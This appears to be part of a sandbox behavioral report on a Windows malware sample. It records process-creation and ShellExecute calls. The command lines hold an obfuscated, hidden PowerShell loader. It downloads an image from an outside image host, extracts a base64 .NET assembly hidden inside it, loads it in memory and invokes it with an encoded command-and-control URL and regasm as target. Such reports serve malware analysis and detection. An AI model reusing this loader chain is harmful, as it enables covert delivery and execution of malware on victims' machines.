tPomkONRKatPomkONRKBvtPomkONRKGQtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBWtPomkONRKEEtPomkONRKSQBotPomkONRKGktPomkONRKRQtPomkONRKptPomkONRKC4tPomkONRKSQButPomkONRKHYtPomkONRKbwBrtPomkONRKGUtPomkONRKKtPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKButPomkONRKHUtPomkONRKbtPomkONRKBstPomkONRKCwtPomkONRKItPomkONRKBbtPomkONRKG8tPomkONRKYgBqtPomkONRKGUtPomkONRKYwB0tPomkONRKFstPomkONRKXQBdtPomkONRKCtPomkONRKtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBktPomkONRKEgtPomkONRKatPomkONRKtPomkONRKwtPomkONRKEwtPomkONRKawBGtPomkONRKE4tPomkONRKUwtPomkONRKntPomkONRKCstPomkONRKJwBDtPomkONRKDgtPomkONRKdwBNtPomkONRKEQtPomkONRKVQB2tPomkONRKE4tPomkONRKagBrtPomkONRKHgtPomkONRKTtPomkONRKBqtPomkONRKFUtPomkONRKeQBNtPomkONRKGktPomkONRKNtPomkONRKtPomkONRKztPomkONRKE0tPomkONRKagBFtPomkONRKHUtPomkONRKTwBEtPomkONRKGctPomkONRKetPomkONRKBMtPomkONRKHktPomkONRKOtPomkONRKtPomkONRK2tPomkONRKGMtPomkONRKStPomkONRKBStPomkONRKDtPomkONRKtPomkONRKYQBBtPomkONRKD0tPomkONRKPQBotPomkONRKGktPomkONRKRQtPomkONRKgtPomkONRKCwtPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQBotPomkONRKGktPomkONRKRQtPomkONRKgtPomkONRKCwtPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRKytPomkONRKGgtPomkONRKaQBFtPomkONRKCtPomkONRKtPomkONRKLtPomkONRKtPomkONRKgtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKGgtPomkONRKaQBFtPomkONRKHItPomkONRKZQBntPomkONRKGEtPomkONRKcwBttPomkONRKGgtPomkONRKaQBFtPomkONRKCtPomkONRKtPomkONRKLtPomkONRKtPomkONRKgtPomkONRKGgtPomkONRKaQBFtPomkONRKDUtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKItPomkONRKtPomkONRKstPomkONRKCtPomkONRKtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKQwtPomkONRK6tPomkONRKFMtPomkONRKYgBDtPomkONRKFtPomkONRKtPomkONRKcgBvtPomkONRKGctPomkONRKcgBhtPomkONRKG0tPomkONRKRtPomkONRKBhtPomkONRKHQtPomkONRKYQBTtPomkONRKGItPomkONRKQwtPomkONRKntPomkONRKCstPomkONRKJwBotPomkONRKGktPomkONRKRQtPomkONRKstPomkONRKCtPomkONRKtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKatPomkONRKB0tPomkONRKG0tPomkONRKbtPomkONRKBitPomkONRKGgtPomkONRKaQBFtPomkONRKCktPomkONRKKQtPomkONRKntPomkONRKCktPomkONRKItPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKYwBStPomkONRKEUtPomkONRKctPomkONRKBMtPomkONRKEEtPomkONRKQwBltPomkONRKCtPomkONRKtPomkONRKJwB6tPomkONRKEwtPomkONRKctPomkONRKtPomkONRKntPomkONRKCwtPomkONRKWwBDtPomkONRKEgtPomkONRKQQBStPomkONRKF0tPomkONRKMwtPomkONRK2tPomkONRKCtPomkONRKtPomkONRKItPomkONRKtPomkONRKttPomkONRKFItPomkONRKZQBwtPomkONRKEwtPomkONRKQQBDtPomkONRKGUtPomkONRKKtPomkONRKBbtPomkONRKEMtPomkONRKStPomkONRKBBtPomkONRKFItPomkONRKXQtPomkONRKxtPomkONRKDtPomkONRKtPomkONRKNtPomkONRKtPomkONRKrtPomkONRKFstPomkONRKQwBItPomkONRKEEtPomkONRKUgBdtPomkONRKDEtPomkONRKMtPomkONRKtPomkONRK1tPomkONRKCstPomkONRKWwBDtPomkONRKEgtPomkONRKQQBStPomkONRKF0tPomkONRKNgtPomkONRK5tPomkONRKCktPomkONRKLtPomkONRKBbtPomkONRKEMtPomkONRKStPomkONRKBBtPomkONRKFItPomkONRKXQtPomkONRKztPomkONRKDktPomkONRKItPomkONRKtPomkONRKttPomkONRKFItPomkONRKZQBwtPomkONRKEwtPomkONRKQQBDtPomkONRKGUtPomkONRKItPomkONRKtPomkONRKgtPomkONRKCctPomkONRKUwBitPomkONRKEMtPomkONRKJwtPomkONRKstPomkONRKFstPomkONRKQwBItPomkONRKEEtPomkONRKUgBdtPomkONRKDktPomkONRKMgtPomkONRKptPomkONRKCktPomkONRK';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('tPomkONRK','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "InVOKe-eXPreSSioN ( (('zLpimage'+'Url = hiEhttps:/'+'/uploaddeimagens.com.br/images/004/654/536/original/new_image.'+'jpg?1698957750hiE;zLpwebClient = New'+'-Object System.Net.WebClient'+';'+'zLpimageBytes = zLpwebClient.DownloadData(zLpimageUrl);zLpimageText = [System.Text.Encoding]::UTF8.GetString('+'zLpimageBytes);zLpst'+'artFlag = hiE'+'<<BAS'+'E64_START>>hiE;zLpendFl'+'ag = hiE<<BASE64_END>>hiE;zLpstartIndex'+' = zLpimageText.IndexOf(zLpstartFlag);zL'+'pendIndex = zLpimageText.IndexOf'+'(zLpendFlag);zLpstartIndex -ge 0 -and zLpendIndex -gt zLpstartIndex;zLp'+'startIndex += zL'+'pstartFlag.Length;zLpbase64Length = zLpendIndex - zL'+'pstartIndex;zLpbase64Comma'+'nd = zLpimageText.Substring(zL'+'pstartIndex, zLpbase64'+'Length);zLpcom'+'mandB'+'ytes'+' = [System.Con'+'vert]::FromBase64String(zLpbase64'+'Command);zLploadedAssembly = [Sy'+'stem.Reflection.Assembly]::Load(zLpcommandBytes);zLptype = zLploadedAssembly.'+'GetType(hiEFiber.HomehiE);zLpmethod = zLptype.Ge'+'tMethod(hiEVAIhiE).Invoke(zLpnull, [object[]] (hiEdHh0LkFNS'+'C8wMDUvNjkxLjUyMi43MjEuODgxLy86cHR0aA==hiE , hiEhiE , hiE2hiE , '+'hiEregasmhiE , hiE5hiE , hiEC:SbCProgramDataSbC'+'hiE, '+'hiEhtmlbhiE))') -cREpLACe 'zLp',[CHAR]36 -RepLACe([CHAR]104+[CHAR]105+[CHAR]69),[CHAR]39 -RepLACe 'SbC',[CHAR]92))"
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2736
thread_handle: 0x0000056c
process_identifier: 2732
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'SQButPomkONRKFYtPomkONRKTwBLtPomkONRKGUtPomkONRKLQBltPomkONRKFgtPomkONRKUtPomkONRKBytPomkONRKGUtPomkONRKUwBTtPomkONRKGktPomkONRKbwBOtPomkONRKCtPomkONRKtPomkONRKKtPomkONRKtPomkONRKgtPomkONRKCgtPomkONRKKtPomkONRKtPomkONRKntPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQtPomkONRKntPomkONRKCstPomkONRKJwBVtPomkONRKHItPomkONRKbtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQBotPomkONRKHQtPomkONRKdtPomkONRKBwtPomkONRKHMtPomkONRKOgtPomkONRKvtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKC8tPomkONRKdQBwtPomkONRKGwtPomkONRKbwBhtPomkONRKGQtPomkONRKZtPomkONRKBltPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQButPomkONRKHMtPomkONRKLgBjtPomkONRKG8tPomkONRKbQtPomkONRKutPomkONRKGItPomkONRKcgtPomkONRKvtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQBztPomkONRKC8tPomkONRKMtPomkONRKtPomkONRKwtPomkONRKDQtPomkONRKLwtPomkONRK2tPomkONRKDUtPomkONRKNtPomkONRKtPomkONRKvtPomkONRKDUtPomkONRKMwtPomkONRK2tPomkONRKC8tPomkONRKbwBytPomkONRKGktPomkONRKZwBptPomkONRKG4tPomkONRKYQBstPomkONRKC8tPomkONRKbgBltPomkONRKHctPomkONRKXwBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKLgtPomkONRKntPomkONRKCstPomkONRKJwBqtPomkONRKHtPomkONRKtPomkONRKZwtPomkONRK/tPomkONRKDEtPomkONRKNgtPomkONRK5tPomkONRKDgtPomkONRKOQtPomkONRK1tPomkONRKDctPomkONRKNwtPomkONRK1tPomkONRKDtPomkONRKtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKB3tPomkONRKGUtPomkONRKYgBDtPomkONRKGwtPomkONRKaQBltPomkONRKG4tPomkONRKdtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBOtPomkONRKGUtPomkONRKdwtPomkONRKntPomkONRKCstPomkONRKJwtPomkONRKttPomkONRKE8tPomkONRKYgBqtPomkONRKGUtPomkONRKYwB0tPomkONRKCtPomkONRKtPomkONRKUwB5tPomkONRKHMtPomkONRKdtPomkONRKBltPomkONRKG0tPomkONRKLgBOtPomkONRKGUtPomkONRKdtPomkONRKtPomkONRKutPomkONRKFctPomkONRKZQBitPomkONRKEMtPomkONRKbtPomkONRKBptPomkONRKGUtPomkONRKbgB0tPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKDstPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKEItPomkONRKeQB0tPomkONRKGUtPomkONRKcwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKB3tPomkONRKGUtPomkONRKYgBDtPomkONRKGwtPomkONRKaQBltPomkONRKG4tPomkONRKdtPomkONRKtPomkONRKutPomkONRKEQtPomkONRKbwB3tPomkONRKG4tPomkONRKbtPomkONRKBvtPomkONRKGEtPomkONRKZtPomkONRKBEtPomkONRKGEtPomkONRKdtPomkONRKBhtPomkONRKCgtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKFUtPomkONRKcgBstPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBbtPomkONRKFMtPomkONRKeQBztPomkONRKHQtPomkONRKZQBttPomkONRKC4tPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKutPomkONRKEUtPomkONRKbgBjtPomkONRKG8tPomkONRKZtPomkONRKBptPomkONRKG4tPomkONRKZwBdtPomkONRKDotPomkONRKOgBVtPomkONRKFQtPomkONRKRgtPomkONRK4tPomkONRKC4tPomkONRKRwBltPomkONRKHQtPomkONRKUwB0tPomkONRKHItPomkONRKaQButPomkONRKGctPomkONRKKtPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKQgB5tPomkONRKHQtPomkONRKZQBztPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKYQBytPomkONRKHQtPomkONRKRgBstPomkONRKGEtPomkONRKZwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRKntPomkONRKCstPomkONRKJwtPomkONRK8tPomkONRKDwtPomkONRKQgBBtPomkONRKFMtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKRQtPomkONRK2tPomkONRKDQtPomkONRKXwBTtPomkONRKFQtPomkONRKQQBStPomkONRKFQtPomkONRKPgtPomkONRK+tPomkONRKGgtPomkONRKaQBFtPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKZQButPomkONRKGQtPomkONRKRgBstPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKGEtPomkONRKZwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRK8tPomkONRKDwtPomkONRKQgBBtPomkONRKFMtPomkONRKRQtPomkONRK2tPomkONRKDQtPomkONRKXwBFtPomkONRKE4tPomkONRKRtPomkONRKtPomkONRK+tPomkONRKD4tPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQBUtPomkONRKGUtPomkONRKetPomkONRKB0tPomkONRKC4tPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKE8tPomkONRKZgtPomkONRKotPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKHMtPomkONRKdtPomkONRKBhtPomkONRKHItPomkONRKdtPomkONRKBGtPomkONRKGwtPomkONRKYQBntPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKctPomkONRKBltPomkONRKG4tPomkONRKZtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKItPomkONRKtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKFQtPomkONRKZQB4tPomkONRKHQtPomkONRKLgBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKTwBmtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCgtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKZQButPomkONRKGQtPomkONRKRgBstPomkONRKGEtPomkONRKZwtPomkONRKptPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKZwBltPomkONRKCtPomkONRKtPomkONRKMtPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKYQButPomkONRKGQtPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBltPomkONRKG4tPomkONRKZtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKItPomkONRKtPomkONRKttPomkONRKGctPomkONRKdtPomkONRKtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKHMtPomkONRKdtPomkONRKBhtPomkONRKHItPomkONRKdtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKCtPomkONRKtPomkONRKKwtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEYtPomkONRKbtPomkONRKBhtPomkONRKGctPomkONRKLgBMtPomkONRKGUtPomkONRKbgBntPomkONRKHQtPomkONRKatPomkONRKtPomkONRK7tPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGItPomkONRKYQBztPomkONRKGUtPomkONRKNgtPomkONRK0tPomkONRKEwtPomkONRKZQButPomkONRKGctPomkONRKdtPomkONRKBotPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGUtPomkONRKbgBktPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKYgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKQwBvtPomkONRKG0tPomkONRKbQBhtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKG4tPomkONRKZtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKutPomkONRKFMtPomkONRKdQBitPomkONRKHMtPomkONRKdtPomkONRKBytPomkONRKGktPomkONRKbgBntPomkONRKCgtPomkONRKegBMtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKstPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKYgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKTtPomkONRKBltPomkONRKG4tPomkONRKZwB0tPomkONRKGgtPomkONRKKQtPomkONRK7tPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGMtPomkONRKbwBttPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKG0tPomkONRKYQButPomkONRKGQtPomkONRKQgtPomkONRKntPomkONRKCstPomkONRKJwB5tPomkONRKHQtPomkONRKZQBztPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKFstPomkONRKUwB5tPomkONRKHMtPomkONRKdtPomkONRKBltPomkONRKG0tPomkONRKLgBDtPomkONRKG8tPomkONRKbgtPomkONRKntPomkONRKCstPomkONRKJwB2tPomkONRKGUtPomkONRKcgB0tPomkONRKF0tPomkONRKOgtPomkONRK6tPomkONRKEYtPomkONRKcgBvtPomkONRKG0tPomkONRKQgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKUwB0tPomkONRKHItPomkONRKaQButPomkONRKGctPomkONRKKtPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBitPomkONRKGEtPomkONRKcwBltPomkONRKDYtPomkONRKNtPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwBDtPomkONRKG8tPomkONRKbQBttPomkONRKGEtPomkONRKbgBktPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBstPomkONRKG8tPomkONRKYQBktPomkONRKGUtPomkONRKZtPomkONRKBBtPomkONRKHMtPomkONRKcwBltPomkONRKG0tPomkONRKYgBstPomkONRKHktPomkONRKItPomkONRKtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKWwBTtPomkONRKHktPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKcwB0tPomkONRKGUtPomkONRKbQtPomkONRKutPomkONRKFItPomkONRKZQBmtPomkONRKGwtPomkONRKZQBjtPomkONRKHQtPomkONRKaQBvtPomkONRKG4tPomkONRKLgBBtPomkONRKHMtPomkONRKcwBltPomkONRKG0tPomkONRKYgBstPomkONRKHktPomkONRKXQtPomkONRK6tPomkONRKDotPomkONRKTtPomkONRKBvtPomkONRKGEtPomkONRKZtPomkONRKtPomkONRKotPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGMtPomkONRKbwBttPomkONRKG0tPomkONRKYQButPomkONRKGQtPomkONRKQgB5tPomkONRKHQtPomkONRKZQBztPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKB0tPomkONRKHktPomkONRKctPomkONRKBltPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGwtPomkONRKbwBhtPomkONRKGQtPomkONRKZQBktPomkONRKEEtPomkONRKcwBztPomkONRKGUtPomkONRKbQBitPomkONRKGwtPomkONRKeQtPomkONRKutPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKEctPomkONRKZQB0tPomkONRKFQtPomkONRKeQBwtPomkONRKGUtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBGtPomkONRKGktPomkONRKYgBltPomkONRKHItPomkONRKLgBItPomkONRKG8tPomkONRKbQBltPomkONRKGgtPomkONRKaQBFtPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBttPomkONRKGUtPomkONRKdtPomkONRKBotPomkONRKG8tPomkONRKZtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKB0tPomkONRKHktPomkONRKctPomkONRKBltPomkONRKC4tPomkONRKRwBltPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHQtPomkONRKTQBltPomkONRKHQtPomkONRKatPomkONRKBvtPomkONRKGQtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBWtPomkONRKEEtPomkONRKSQBotPomkONRKGktPomkONRKRQtPomkONRKptPomkONRKC4tPomkONRKSQButPomkONRKHYtPomkONRKbwBrtPomkONRKGUtPomkONRKKtPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKButPomkONRKHUtPomkONRKbtPomkONRKBstPomkONRKCwtPomkONRKItPomkONRKBbtPomkONRKG8tPomkONRKYgBqtPomkONRKGUtPomkONRKYwB0tPomkONRKFstPomkONRKXQBdtPomkONRKCtPomkONRKtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBktPomkONRKEgtPomkONRKatPomkONRKtPomkONRKwtPomkONRKEwtPomkONRKawBGtPomkONRKE4tPomkONRKUwtPomkONRKntPomkONRKCstPomkONRKJwBDtPomkONRKDgtPomkONRKdwBNtPomkONRKEQtPomkONRKVQB2tPomkONRKE4tPomkONRKagBrtPomkONRKHgtPomkONRKTtPomkONRKBqtPomkONRKFUtPomkONRKeQBNtPomkONRKGktPomkONRKNtPomkONRKtPomkONRKztPomkONRKE0tPomkONRKagBFtPomkONRKHUtPomkONRKTwBEtPomkONRKGctPomkONRKetPomkONRKBMtPomkONRKHktPomkONRKOtPomkONRKtPomkONRK2tPomkONRKGMtPomkONRKStPomkONRKBStPomkONRKDtPomkONRKtPomkONRKYQBBtPomkONRKD0tPomkONRKPQBotPomkONRKGktPomkONRKRQtPomkONRKgtPomkONRKCwtPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQBotPomkONRKGktPomkONRKRQtPomkONRKgtPomkONRKCwtPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRKytPomkONRKGgtPomkONRKaQBFtPomkONRKCtPomkONRKtPomkONRKLtPomkONRKtPomkONRKgtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKGgtPomkONRKaQBFtPomkONRKHItPomkONRKZQBntPomkONRKGEtPomkONRKcwBttPomkONRKGgtPomkONRKaQBFtPomkONRKCtPomkONRKtPomkONRKLtPomkONRKtPomkONRKgtPomkONRKGgtPomkONRKaQBFtPomkONRKDUtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKItPomkONRKtPomkONRKstPomkONRKCtPomkONRKtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKQwtPomkONRK6tPomkONRKFMtPomkONRKYgBDtPomkONRKFtPomkONRKtPomkONRKcgBvtPomkONRKGctPomkONRKcgBhtPomkONRKG0tPomkONRKRtPomkONRKBhtPomkONRKHQtPomkONRKYQBTtPomkONRKGItPomkONRKQwtPomkONRKntPomkONRKCstPomkONRKJwBotPomkONRKGktPomkONRKRQtPomkONRKstPomkONRKCtPomkONRKtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKatPomkONRKB0tPomkONRKG0tPomkONRKbtPomkONRKBitPomkONRKGgtPomkONRKaQBFtPomkONRKCktPomkONRKKQtPomkONRKntPomkONRKCktPomkONRKItPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKYwBStPomkONRKEUtPomkONRKctPomkONRKBMtPomkONRKEEtPomkONRKQwBltPomkONRKCtPomkONRKtPomkONRKJwB6tPomkONRKEwtPomkONRKctPomkONRKtPomkONRKntPomkONRKCwtPomkONRKWwBDtPomkONRKEgtPomkONRKQQBStPomkONRKF0tPomkONRKMwtPomkONRK2tPomkONRKCtPomkONRKtPomkONRKItPomkONRKtPomkONRKttPomkONRKFItPomkONRKZQBwtPomkONRKEwtPomkONRKQQBDtPomkONRKGUtPomkONRKKtPomkONRKBbtPomkONRKEMtPomkONRKStPomkONRKBBtPomkONRKFItPomkONRKXQtPomkONRKxtPomkONRKDtPomkONRKtPomkONRKNtPomkONRKtPomkONRKrtPomkONRKFstPomkONRKQwBItPomkONRKEEtPomkONRKUgBdtPomkONRKDEtPomkONRKMtPomkONRKtPomkONRK1tPomkONRKCstPomkONRKWwBDtPomkONRKEgtPomkONRKQQBStPomkONRKF0tPomkONRKNgtPomkONRK5tPomkONRKCktPomkONRKLtPomkONRKBbtPomkONRKEMtPomkONRKStPomkONRKBBtPomkONRKFItPomkONRKXQtPomkONRKztPomkONRKDktPomkONRKItPomkONRKtPomkONRKttPomkONRKFItPomkONRKZQBwtPomkONRKEwtPomkONRKQQBDtPomkONRKGUtPomkONRKItPomkONRKtPomkONRKgtPomkONRKCctPomkONRKUwBitPomkONRKEMtPomkONRKJwtPomkONRKstPomkONRKFstPomkONRKQwBItPomkONRKEEtPomkONRKUgBdtPomkONRKDktPomkONRKMgtPomkONRKptPomkONRKCktPomkONRK';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('tPomkONRK','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000574
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -command "$Codigo = 'SQButPomkONRKFYtPomkONRKTwBLtPomkONRKGUtPomkONRKLQBltPomkONRKFgtPomkONRKUtPomkONRKBytPomkONRKGUtPomkONRKUwBTtPomkONRKGktPomkONRKbwBOtPomkONRKCtPomkONRKtPomkONRKKtPomkONRKtPomkONRKgtPomkONRKCgtPomkONRKKtPomkONRKtPomkONRKntPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQtPomkONRKntPomkONRKCstPomkONRKJwBVtPomkONRKHItPomkONRKbtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQBotPomkONRKHQtPomkONRKdtPomkONRKBwtPomkONRKHMtPomkONRKOgtPomkONRKvtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKC8tPomkONRKdQBwtPomkONRKGwtPomkONRKbwBhtPomkONRKGQtPomkONRKZtPomkONRKBltPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQButPomkONRKHMtPomkONRKLgBjtPomkONRKG8tPomkONRKbQtPomkONRKutPomkONRKGItPomkONRKcgtPomkONRKvtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQBztPomkONRKC8tPomkONRKMtPomkONRKtPomkONRKwtPomkONRKDQtPomkONRKLwtPomkONRK2tPomkONRKDUtPomkONRKNtPomkONRKtPomkONRKvtPomkONRKDUtPomkONRKMwtPomkONRK2tPomkONRKC8tPomkONRKbwBytPomkONRKGktPomkONRKZwBptPomkONRKG4tPomkONRKYQBstPomkONRKC8tPomkONRKbgBltPomkONRKHctPomkONRKXwBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKLgtPomkONRKntPomkONRKCstPomkONRKJwBqtPomkONRKHtPomkONRKtPomkONRKZwtPomkONRK/tPomkONRKDEtPomkONRKNgtPomkONRK5tPomkONRKDgtPomkONRKOQtPomkONRK1tPomkONRKDctPomkONRKNwtPomkONRK1tPomkONRKDtPomkONRKtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKB3tPomkONRKGUtPomkONRKYgBDtPomkONRKGwtPomkONRKaQBltPomkONRKG4tPomkONRKdtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBOtPomkONRKGUtPomkONRKdwtPomkONRKntPomkONRKCstPomkONRKJwtPomkONRKttPomkONRKE8tPomkONRKYg